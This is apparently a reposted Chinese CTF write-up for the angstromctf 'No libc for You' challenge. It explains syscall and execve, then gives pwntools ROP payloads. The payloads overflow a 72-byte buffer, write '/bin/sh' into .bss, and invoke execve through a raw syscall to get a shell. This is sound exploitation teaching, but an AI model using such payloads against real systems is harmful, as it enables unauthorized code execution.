angstromctf -No libc for You

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了angstromctf -No libc for You相关的知识,希望对你有一定的参考价值。

0x00 syscall

syscall函数原型为:
int syscall(int number, ...)
其中number是系统调用号,number后面应顺序接上该系统调用的所有参数.大概意思是当调用syscall函数时,系统会去syscall调用表中寻找对应的系统函数,再把相应的参数赋给要调用的函数,然后执行该函数。

例如:调用read函数
syscall(0,0,buf,8) - 0 是系统函数read的调用号,相当于执行read(0,buf,8)

详细说明:

Linux系统调用(syscall)原理

linux 系统调用

0x01 execve

execve函数原型
int execve(const char * filename,char * const argv[ ],char * const envp[ ])
execve()用来执行参数filename字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。

例如:执行/bin/sh
execve("/bin/sh",0,0)

 详细说明:

execve的使用方法

0x02 No libc for You

1.思路

先将/bin/sh写入bss,再通过syscall调用execve(‘/bin/sh‘)获得shell

2.写/bin/sh到bss

#write_bss    
    payload = "A" * 72
    payload += p64(pop_rdi) + p64(bss_addr)
    payload += p64(gets_addr)
    payload += p64(vuln_addr)
    s.sendline(payload)
    s.sendline("/bin/sh\0")

3.调用execve(‘/bin/sh‘)

# get_shell
    payload = "A" * 72
    payload += p64(rax_rdx_rbx_ret) + p64(0x3b) + p64(0) + p64(0)
    payload += p64(rsi_ret) + p64(0)
    payload += p64(pop_rdi) + p64(bss_addr)
    payload += p64(syscall)
    s.sendline(payload)

  

以上是关于angstromctf -No libc for You的主要内容,如果未能解决你的问题,请参考以下文章

如何在 macOS 上链接 libc++?

libc abi.dylib: terminate_handler unexpectedly threw an exception

误删除libc.so.6补救办法

gcc默认链接到libc.a或libc.so吗?

每次加载libc地址都不相同

Xenomai for Debian Jessie